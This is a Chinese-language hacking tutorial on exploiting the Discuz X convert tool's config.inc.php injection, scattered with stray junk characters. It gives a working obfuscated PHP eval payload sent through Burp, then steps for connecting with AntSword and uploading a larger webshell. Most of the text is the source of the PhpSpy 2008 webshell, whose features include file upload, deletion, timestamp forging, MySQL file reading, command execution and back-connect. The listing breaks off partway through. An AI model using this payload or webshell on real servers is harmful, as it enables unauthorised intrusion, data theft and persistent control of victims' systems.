网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
想要拿下一台主机A的权限：
1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
% H* A- e8 N6 q+ n; x2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
3、传上去后，得到apache用户普通权限，再提权成root
( m6 s* J4 J: O1 P( b概述：
这突破在一个DZ X系列自带的转换工具里面。
; s% H) B3 K% ^- u4 A; D漏洞路径：utility / convert / data / config.inc.php
' q: U( f2 T& \! b- f! I* a+ B漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
9 |% n$ N# ?$ S5 w) _; ^触发突破过程：
) M+ `" S' w+ H" a/ }& Z' j1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
7 {3 K8 i# o/ U! H2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
攻击过程：
, E& g7 H9 y/ m# c! b& M1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
) C0 q1 O; W3 K: ~1 Y) ^3 d
: V: T: X/ D8 ]/ M; a
& ^0 }0 b, }# N( `; f2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马

# {) M( d) S3 W9 T8、通过中国蚁剑上传大码
) P1 A0 ?# F$ `6 A% u
% w* W0 g0 n7 @$ S9 b
10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   
2. 
   ' w7 ?! G6 G* V' _
3. /*****************************************************************************
   
4. 
   
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   0 w: [- S5 x8 [2 o  }) O* M7 V
6. 
   
7. ====
   
8. 
   
9. 
   
10. *****************************************************************************/
    . j1 S4 c, g2 G: _
11. 
    2 ], x) w- N! i8 D
12. error_reporting(7);
    ! k2 I2 @+ o2 {
13. @set_magic_quotes_runtime(0);
    
14. ob_start();
    
15. $mtime = explode(' ', microtime());
    
16. $starttime = $mtime[1] + $mtime[0];
    1 \+ F9 C& i+ Z$ L( }' P
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
      F) T5 b, s; q; _
21. define('IS_GPC', get_magic_quotes_gpc());
    
22. $dis_func = get_cfg_var('disable_functions');
      {4 d! d' p; `) @8 N) H
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    
24. @set_time_limit(0);
    7 e  _( J8 h1 x1 o" d
25. 
    0 @/ Z3 A8 s8 g, ^* N( g$ V7 P6 T
26. foreach(array('_GET','_POST') as $_request) {
    % f( s* M. [8 @0 z
27.         foreach($$_request as $_key => $_value) {
    
28.                 if ($_key{0} != '_') {
    , H+ n/ B) h) a! n6 m  f
29.                         if (IS_GPC) {
    
30.                                 $_value = s_array($_value);
    - m- z( M! w( i% t" [7 @- w8 J, g
31.                         }
    : F, Y3 u) C& w8 p% f8 t
32.                         $$_key = $_value;
    
33.                 }
    " Q( g* n1 {/ r; ]
34.         }
    # i' s+ Z- G2 S, u" ]  O
35. }
      g, Y1 O8 L" a! ]
36. 
    8 v; y# o/ u, u+ j
37. /*===================== 程序配置 =====================*/
    3 F; p% D6 c1 k% J( d$ C+ E. h8 ?
38. $admin = array();
    
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    0 @+ M) }* Q* L  H. p
40. $admin['check'] = true;
    
41. // 如果需要密码验证,请修改登陆密码
    % B8 a& [3 X1 l( r
42. $admin['pass']  = 'xuegod';
    
43. 
    
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    
45. // cookie 前缀
    ! M/ a' J+ g5 j; [
46. $admin['cookiepre'] = '';
    
47. // cookie 作用域
    
48. $admin['cookiedomain'] = '';
    ) @$ F$ R" |0 ^" Q$ Q
49. // cookie 作用路径
    ! Q* m. J0 p1 x. I6 p
50. $admin['cookiepath'] = '/';
    8 I4 Z1 c* k; e
51. // cookie 有效期
    
52. $admin['cookielife'] = 86400;
    
53. /*===================== 配置结束 =====================*/
    
54. 
    ( |* a  V0 y1 L3 Y6 w3 X
55. if ($charset == 'utf8') {
    
56.         header("content-Type: text/html; charset=utf-8");
    
57. } elseif ($charset == 'big5') {
    - i  o6 A3 N; x% e: D, s8 R
58.         header("content-Type: text/html; charset=big5");
    0 J" M& \" H5 `+ P: A
59. } elseif ($charset == 'gbk') {
    1 G: \; s4 Z. v4 m* R
60.         header("content-Type: text/html; charset=gbk");
    
61. } elseif ($charset == 'latin1') {
    & A3 ^% z4 X' ]3 }1 @2 j8 ]: I
62.         header("content-Type: text/html; charset=iso-8859-2");
    
63. }
    $ v& `9 V- t8 K4 S% h& x( L9 p. Y$ u
64. 
    % g4 a- }( e( p' v8 W: [
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    
66. $timestamp = time();
    
67. 
    & C, C9 _7 U2 d" _/ J, w
68. /*===================== 身份验证 =====================*/
    - P% D! Q- m: Q; a% H
69. if ($action == "logout") {
    
70.         scookie('phpspypass', '', -86400 * 365);
    
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    4 n1 m5 B1 F0 ?$ j
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
73.         exit;
    $ o& z$ Q+ [/ f  a; o- T
74. }
    
75. if($admin['check']) {
    6 Q$ b- M3 B8 Q
76.         if ($doing == 'login') {
    : b% W% d" z& Z9 K
77.                 if ($admin['pass'] == $password) {
    
78.                         scookie('phpspypass', $password);
      G6 `: G7 ~# ]2 r; U, W
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
81.                         exit;
    & f9 x* G+ M' G( g1 B
82.                 }
    
83.         }
    / [, {6 u1 ~0 d1 W) A7 \
84.         if ($_COOKIE['phpspypass']) {
    4 |% ^  L0 v  T" V& P+ Z- h  {6 s
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    
86.                         loginpage();
    5 g/ x2 S: S' r  E, M$ h4 b: v
87.                 }
    + t. U3 v8 Q' O% Q4 n# V+ u
88.         } else {
    
89.                 loginpage();
    . i5 _1 e1 E6 ^6 j
90.         }
    ' A1 s8 d% k- Z8 x
91. }
    
92. /*===================== 验证结束 =====================*/
    
93. 
    
94. $errmsg = '';
    5 Y5 r$ k: }0 k& N
95. 
    9 M0 b$ u3 N! r# Y* y. h
96. // 查看PHPINFO
    ) T! F+ K! P2 I; B& s2 G
97. if ($action == 'phpinfo') {
    & e: |  e2 @" @
98.         if (IS_PHPINFO) {
    1 x) o' n- m6 T- w
99.                 phpinfo();
    0 ~1 X# X4 w1 _, i8 |  z! _
100.         } else {
     
101.                 $errmsg = 'phpinfo() function has non-permissible';
     
102.         }
     ; m1 b, r' e) z2 m# z) H
103. }
     
104. 
     $ b; O: ]2 N) R: C  [' T
105. // 下载文件
     7 N! [' w' x$ T# p$ `
106. if ($doing == 'downfile' && $thefile) {
     2 K  t- ~% ^3 K* o2 P5 x
107.         if (!@file_exists($thefile)) {
     0 i* a/ \( c( Z1 \
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
     
109.         } else {
     
110.                 $fileinfo = pathinfo($thefile);
     
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     % h0 a, R* N& N" T
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
113.                 header('Content-Length: '.filesize($thefile));
     
114.                 @readfile($thefile);
     ! \. s8 P! o" M/ _$ H) R
115.                 exit;
     
116.         }
     $ C4 t5 i4 O, B4 j
117. }
     % V+ A6 J/ p4 z! L$ M
118. 
     
119. // 直接下载备份数据库
     ; R/ \1 r1 t/ [3 g
120. if ($doing == 'backupmysql' && !$saveasfile) {
     
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
122.         $table = array_flip($table);
     
123.         $result = q("SHOW tables");
     
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     " M$ q- t# B/ l8 M- K; V1 T8 ]
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     8 P' W8 [# `7 A, t; R
126.         header('Content-type: application/unknown');
     
127.         header('Content-Disposition: attachment; filename='.$filename);
     
128.         $mysqldata = '';
     $ {7 [. M) G0 d$ m
129.         while ($currow = mysql_fetch_array($result)) {
     
130.                 if (isset($table[$currow[0]])) {
     
131.                         $mysqldata .= sqldumptable($currow[0]);
     
132.                 }
     # G; E$ f. c- {$ w' V1 `- _. b, S
133.         }
     
134.         mysql_close();
     & R& x7 ~* m4 G% U8 D! A
135.         exit;
     
136. }
     / o; @8 C! C5 R7 L+ c# a4 \
137. 
     
138. // 通过MYSQL下载文件
     2 Y; k7 M" v2 p- \) z1 p+ ^
139. if($doing=='mysqldown'){
     
140.         if (!$dbname) {
     2 [- g! Y, e7 k2 Q
141.                 $errmsg = 'Please input dbname';
     # @! F1 t* H" p- z0 j3 n
142.         } else {
     1 u+ g; ^) k2 Q7 k. t3 c
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     3 z: B# D* Y2 M1 y6 j& o7 [1 S
144.                 if (!file_exists($mysqldlfile)) {
     , R* D7 `) ^5 A( J, _/ N! D. P& \
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     
146.                 } else {
     
147.                         $result = q("select load_file('$mysqldlfile');");
     
148.                         if(!$result){
     2 o& k2 o7 N- @9 y! h: ~9 M8 _4 i
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
     " D0 m! L3 j$ }! C- d
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     $ T4 w* M& O/ y, f1 _
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     
153.                                 $result = q("select content from tmp_angel");
     
154.                                 q("DROP TABLE tmp_angel");
     
155.                         }
     ! D, e0 d( n" R! E( h
156.                         $row = @mysql_fetch_array($result);
     
157.                         if (!$row) {
     
158.                                 $errmsg = 'Load file failed '.mysql_error();
     ' r- T1 Y* l3 G
159.                         } else {
     2 t/ w  D/ q0 y; o" b2 ]
160.                                 $fileinfo = pathinfo($mysqldlfile);
     ( J9 Q# W3 Z( ^- Z* z! c- g7 ~
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     4 L7 L' }8 N4 K- `
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     ' p/ e' H3 x1 [* i
163.                                 header("Accept-Length: ".strlen($row[0]));
     
164.                                 echo $row[0];
     + t: S& X$ S9 \
165.                                 exit;
     ' I" F  r8 W, X0 e- c" a
166.                         }
     0 N! L1 h4 w1 c( ]" {
167.                 }
     0 D1 |8 Y: K" B6 G
168.         }
     9 A$ |/ b6 x& I# Q
169. }
     ) x  m4 s* C5 J( ]4 E4 X5 ?
170. 
     
171. ?>
     
172. <html>
     # ]9 Y  g+ B' \
173. <head>
     - y. ]( I7 R* w) U% u
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     
176. <style type="text/css">
     
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     4 G! Z7 Q  U- l1 f3 D  R
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     7 ?8 o7 R) e+ @+ I: {2 U
181. a {color: #00f;text-decoration:underline;}
     . }! b/ s" M+ L8 w( }8 \
182. a:hover{color: #f00;text-decoration:none;}
     9 Q! K- J1 n8 h6 V
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     3 a7 O3 R  b: S6 d6 d
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     8 j7 ^, \/ S: @7 q
187. .head td span{font-weight:normal;}
     
188. form{margin:0;padding:0;}
     
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     ' x; d  v5 @0 m
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     4 a% ^. L, e5 _7 I7 m! E# n
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     
192. </style>
     
193. <script type="text/javascript">
     
194. function CheckAll(form) {
     $ J1 `8 L: U1 K1 A/ ~
195.         for(var i=0;i<form.elements.length;i++) {
     % V+ ~! F- j+ V7 Z4 X- I, S
196.                 var e = form.elements[i];
     # T5 X. \: h3 p$ e8 ^% c7 X
197.                 if (e.name != 'chkall')
     , B3 C" K" x: R9 G  D7 M* ^8 ?
198.                 e.checked = form.chkall.checked;
     8 d- l4 Z5 d3 I# S4 l' D; b
199.     }
     
200. }
     
201. function $(id) {
     , Y0 ^. V$ p8 }+ U, S" l6 u$ ~
202.         return document.getElementById(id);
     ' d$ m2 _5 s2 ~) ]4 r3 Z. p! H
203. }
     + p! K% G; e6 t! y# D4 J
204. function goaction(act){
     
205.         $('goaction').action.value=act;
     
206.         $('goaction').submit();
     2 Y4 i. t1 T$ I& o
207. }
     
208. </script>
     9 p$ r+ Q( P5 I
209. </head>
     & Z: A7 o) E3 D9 T
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     8 |# O! L- g- L5 @
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     
212.         <tr class="head">
     
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     5 c( D1 ^$ D& C
214.         </tr>
     
215.         <tr class="alt1">
     ' s6 ]* z- b6 S& w1 S$ c( h( a. l
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     + X( [7 m$ p. s# N+ O( y2 |
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     " I( a3 \) c$ y7 C% j
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
     ! F" C; V7 B! q- K# Q( y# t# D1 ^9 d
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
     : T+ `" i( D$ ?! [' q
225.                 </td>
     
226.         </tr>
     6 `2 l  a  E# f6 l; `* Q' Q
227. </table>
     
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
     6 z3 A+ H) K4 K
229. <?php
     
230. 
     ' h/ G7 P( }- h9 j& u
231. formhead(array('name'=>'goaction'));
     
232. makehide('action');
     
233. formfoot();
     
234. 
     
235. $errmsg && m($errmsg);
     
236. 
       b0 z7 [  |- q
237. // 获取当前路径
     
238. !$dir && $dir = '.';
     
239. $nowpath = getPath(SA_ROOT, $dir);
     8 E- l' h( E! e3 O
240. if (substr($dir, -1) != '/') {
     / w' M' _% V, e# Q" `1 T
241.         $dir = $dir.'/';
     
242. }
     
243. $uedir = ue($dir);
     
244. 
     
245. if (!$action || $action == 'file') {
     
246. 
     ' c- J: }7 a* K* u1 N7 V6 U" k
247.         // 判断读写情况
     
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     8 S5 i' x, I, I) b5 W7 S0 `
249. 
     
250.         // 删除目录
     
251.         if ($doing == 'deldir' && $thefile) {
     / @' a% i; _. |, _4 r+ i5 U
252.                 if (!file_exists($thefile)) {
     2 P- b; a0 G; H& i
253.                         m($thefile.' directory does not exist');
     
254.                 } else {
     2 y; a0 A# `+ ^) Y# c2 R5 u
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     
256.                 }
     $ ^* m/ i( t/ }
257.         }
     
258. 
     9 E: c' }3 w5 n3 c! Y4 P; i
259.         // 创建目录
     
260.         elseif ($newdirname) {
     
261.                 $mkdirs = $nowpath.$newdirname;
     
262.                 if (file_exists($mkdirs)) {
     
263.                         m('Directory has already existed');
     . P4 a; a9 `3 L; U: }
264.                 } else {
     9 O, x6 H& g* b! q; _! M
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     
266.                         @chmod($mkdirs,0777);
     & I4 a9 O7 q6 A  v! C
267.                 }
     
268.         }
     . G7 L2 I) Y: [# @( h" |2 @
269. 
     
270.         // 上传文件
     
271.         elseif ($doupfile) {
     
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     
273.         }
     " ^5 }0 w3 g2 Z* U( _
274. 
     9 J4 n; X4 g, Z# l. ?
275.         // 编辑文件
     , v, s% h7 U$ d
276.         elseif ($editfilename && $filecontent) {
     ! B2 o. u9 z: p( e8 h# ^
277.                 $fp = @fopen($editfilename,'w');
     
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     - R. P; o1 l' [- `0 A8 q& q
279.                 @fclose($fp);
     
280.         }
     ; g7 D- d$ g, x: J9 ?! z1 v6 w% o
281. 
     
282.         // 编辑文件属性
     ( |: u/ i; y2 W4 Q) e
283.         elseif ($pfile && $newperm) {
     
284.                 if (!file_exists($pfile)) {
     5 t: L# ^* n1 C: o7 [# i
285.                         m('The original file does not exist');
     5 o1 Y: [4 h" ^4 w2 V! `: s
286.                 } else {
     
287.                         $newperm = base_convert($newperm,8,10);
     
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     % d/ O9 o2 ^5 \
289.                 }
     
290.         }
     
291. 
     
292.         // 改名
     
293.         elseif ($oldname && $newfilename) {
     $ r7 }8 F" H: c- R
294.                 $nname = $nowpath.$newfilename;
     
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     
296.                         m($nname.' has already existed or original file does not exist');
     
297.                 } else {
     
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
     
299.                 }
     
300.         }
     - W! D/ @5 l% N2 b
301. 
     : Q+ E6 x7 D0 B( g' J) ?3 C
302.         // 复制文件
     
303.         elseif ($sname && $tofile) {
     1 E) G) D, F' U- a4 m
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     
305.                         m('The goal file has already existed or original file does not exist');
     
306.                 } else {
     * o, D! f/ }* p1 n' s
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     ! Y* i6 o! S- C. a% w+ r, a
308.                 }
     
309.         }
     6 N+ o3 S7 L- m# R
310. 
     
311.         // 克隆时间
     
312.         elseif ($curfile && $tarfile) {
     
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     
314.                         m('The goal file has already existed or original file does not exist');
     
315.                 } else {
     , N/ L* `+ j: G( i: d
316.                         $time = @filemtime($tarfile);
     
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
318.                 }
     
319.         }
     9 x; C' T$ W7 F! p* G
320. 
     * S1 r2 g5 U( T
321.         // 自定义时间
     9 Q3 w# K( w" W4 Y
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     : [8 A$ n/ T2 }. x) M6 T
323.                 if (!@file_exists($curfile)) {
     
324.                         m(basename($curfile).' does not exist');
     ; \# G' @  p( ~+ c6 m8 ^
325.                 } else {
     
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     5 m% [. {* p5 Q& k7 S  x
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
328.                 }
     
329.         }
     5 _) @9 g; Y5 \, v
330. 
     
331.         // 打包下载
     " f3 F" k# D+ ~8 x/ Y
332.         elseif($doing == 'downrar') {
     
333.                 if ($dl) {
     
334.                         $dfiles='';
     
335.                         foreach ($dl as $filepath => $value) {
     7 A$ h5 b3 F9 X; F. s/ _- ^
336.                                 $dfiles.=$filepath.',';
     
337.                         }
     
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     ' A  Y1 B+ q# M" ^8 g
339.                         $dl=explode(',',$dfiles);
     $ s% Q, T6 c3 z, u" B/ O
340.                         $zip=new PHPZip($dl);
     0 K0 Q  m+ G/ n. u& j1 s
341.                         $code=$zip->out;
     
342.                         header('Content-type: application/octet-stream');
     2 [0 ]/ A- ^/ O
343.                         header('Accept-Ranges: bytes');
     
344.                         header('Accept-Length: '.strlen($code));
     * e5 a7 W$ @/ Y4 z+ ]( h7 G
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
     
346.                         echo $code;
     
347.                         exit;
     
348.                 } else {
     
349.                         m('Please select file(s)');
     
350.                 }
     7 n. q( ~2 t  a& |! c3 \- ]
351.         }
     4 z% J/ D- M# e$ I) i& L$ C
352. 
     
353.         // 批量删除文件
     ) Z" K) `9 v) ?) x: j5 k
354.         elseif($doing == 'delfiles') {
     
355.                 if ($dl) {
     
356.                         $dfiles='';
     
357.                         $succ = $fail = 0;
     
358.                         foreach ($dl as $filepath => $value) {
     & t, _; K# m  S6 o) W0 F! m
359.                                 if (@unlink($filepath)) {
     
360.                                         $succ++;
     1 p. d- E8 W: Q5 v
361.                                 } else {
       |1 y0 z3 h6 m& {) Y) m6 ^
362.                                         $fail++;
     % K9 X' E8 _' `8 y* k, v) `. p
363.                                 }
     - S4 R+ T. G9 X& {2 i8 k! C
364.                         }
     
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     
366.                 } else {
     % P  G7 F7 o. O
367.                         m('Please select file(s)');
     % S7 H0 A9 `1 h- s
368.                 }
     # F6 `( q% N6 b9 R3 E* S
369.         }
     1 N# O1 S; \6 H2 Y$ n% j
370. 
     
371.         //操作完毕
     & m- o" l+ e: E8 ?8 V
372.         formhead(array('name'=>'createdir'));
     
373.         makehide('newdirname');
     
374.         makehide('dir',$nowpath);
     
375.         formfoot();
     
376.         formhead(array('name'=>'fileperm'));
     $ K% n& R* C6 ^, [. D
377.         makehide('newperm');
     # T  U; t" P6 Z4 `% `
378.         makehide('pfile');
     6 t* _4 |. w1 W$ C0 ]
379.         makehide('dir',$nowpath);
     
380.         formfoot();
     / A- u$ H! G0 v; [7 R5 H9 v
381.         formhead(array('name'=>'copyfile'));
     ; r0 A" O% r- Q2 [/ s2 H+ k! T0 O
382.         makehide('sname');
     
383.         makehide('tofile');
     
384.         makehide('dir',$nowpath);
     # ~! [  N" `( h# I
385.         formfoot();
     
386.         formhead(array('name'=>'rename'));
     
387.         makehide('oldname');
     ; H# h+ f- \" b6 R
388.         makehide('newfilename');
     & U4 N3 w$ ?+ V, q  A* m) s2 U  _
389.         makehide('dir',$nowpath);
     7 f2 |/ y8 l4 M$ \7 L! e
390.         formfoot();
     2 n$ E5 c$ A) g0 Z
391.         formhead(array('name'=>'fileopform'));
     ' [( H6 E7 {0 s  M
392.         makehide('action');
     
393.         makehide('opfile');
     9 V, x! X! d- Z5 U* s! h& T
394.         makehide('dir');
     7 l, i; o3 C- N/ O4 H
395.         formfoot();
     
396. 
     & Y4 H% q# ?. Z* ^6 Q. O% E
397.         $free = @disk_free_space($nowpath);
       \+ f" \1 ~( T, k; W9 ?
398.         !$free && $free = 0;
     
399.         $all = @disk_total_space($nowpath);
     
400.         !$all && $all = 0;
     5 j6 Q: @: G2 b3 `8 Z
401.         $used = $all-$free;
     & ^6 v8 ]) k* U4 c3 y% `, ]: K
402.         $used_percent = @round(100/($all/$free),2);
     
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     . C, d" }( l, W7 ?9 I
404. 
     * e) J, p3 {3 y* |, c
405. ?>
     5 r+ m* Y2 w( W+ }) o# ~1 t& b
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     . q' }& [; B% w
407.   <form action="" method="post" id="godir" name="godir">
     
408.   <tr>
     / {  x' I# E  S) M. [# [- k2 A
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     ! [8 Q) l7 `9 \% h3 v/ `8 O
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     # u/ X9 k( n; p: H" C
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     
412.   </tr>
     - ?; N! f4 m& n1 O
413.   </form>
     
414. </table>
     : j9 O4 s$ k3 G# W- I# o7 w
415. <script type="text/javascript">
     8 m: h; N0 @6 |8 P0 _. C
416. function createdir(){
     
417.         var newdirname;
     " P/ I* ]4 s$ }; L1 D) z
418.         newdirname = prompt('Please input the directory name:', '');
     
419.         if (!newdirname) return;
     
420.         $('createdir').newdirname.value=newdirname;
     
421.         $('createdir').submit();
     
422. }
     
423. function fileperm(pfile){
     ( y; Q% U3 y- p0 _; {8 _! g
424.         var newperm;
     . S$ E: m8 ]0 v8 q
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     2 \( C- S- \# Z" U
426.         if (!newperm) return;
     , b6 P" u4 O! U6 y" y; i( e
427.         $('fileperm').newperm.value=newperm;
     / h9 y, a7 D* `5 V. R
428.         $('fileperm').pfile.value=pfile;
     # w& ?- N; M: ^- G% z
429.         $('fileperm').submit();
     
430. }
     
431. function copyfile(sname){
     
432.         var tofile;
     2 n" l, v% P& [, y
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     - H/ Y+ u" V9 c' i8 y0 z
434.         if (!tofile) return;
     
435.         $('copyfile').tofile.value=tofile;
     
436.         $('copyfile').sname.value=sname;
     : v& I' X8 z/ p5 x; P
437.         $('copyfile').submit();
     ! R- x; f' H0 C4 W
438. }
     : G6 V: i2 o0 f0 y4 R' z
439. function rename(oldname){
     
440.         var newfilename;
     " H. z9 B8 q; b
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     5 b. ^- B* D, g' {- r+ L0 s2 D. I
442.         if (!newfilename) return;
     
443.         $('rename').newfilename.value=newfilename;
     
444.         $('rename').oldname.value=oldname;
     6 h$ H% z5 }, L  `
445.         $('rename').submit();
     
446. }
     , ^/ |4 H7 v8 W6 {. l) v; M) ]
447. function dofile(doing,thefile,m){
     * S5 ]" M! k$ L+ [8 S
448.         if (m && !confirm(m)) {
     ' Y! i% O4 f( i1 H  k
449.                 return;
     
450.         }
     
451.         $('filelist').doing.value=doing;
     ' b! }' F6 w6 s) p4 m/ `  ^/ k" K
452.         if (thefile){
     
453.                 $('filelist').thefile.value=thefile;
     ; `8 m) T2 |; T! ~, d8 M
454.         }
     6 U2 s, h# f; v+ l
455.         $('filelist').submit();
     
456. }
     " p. R! I! P4 R* F0 U* x3 O1 a0 Q% t
457. function createfile(nowpath){
     , K( u# }5 z3 e. [7 Z7 P
458.         var filename;
     % b, V, [, _4 T) e1 H+ s: ?
459.         filename = prompt('Please input the file name:', '');
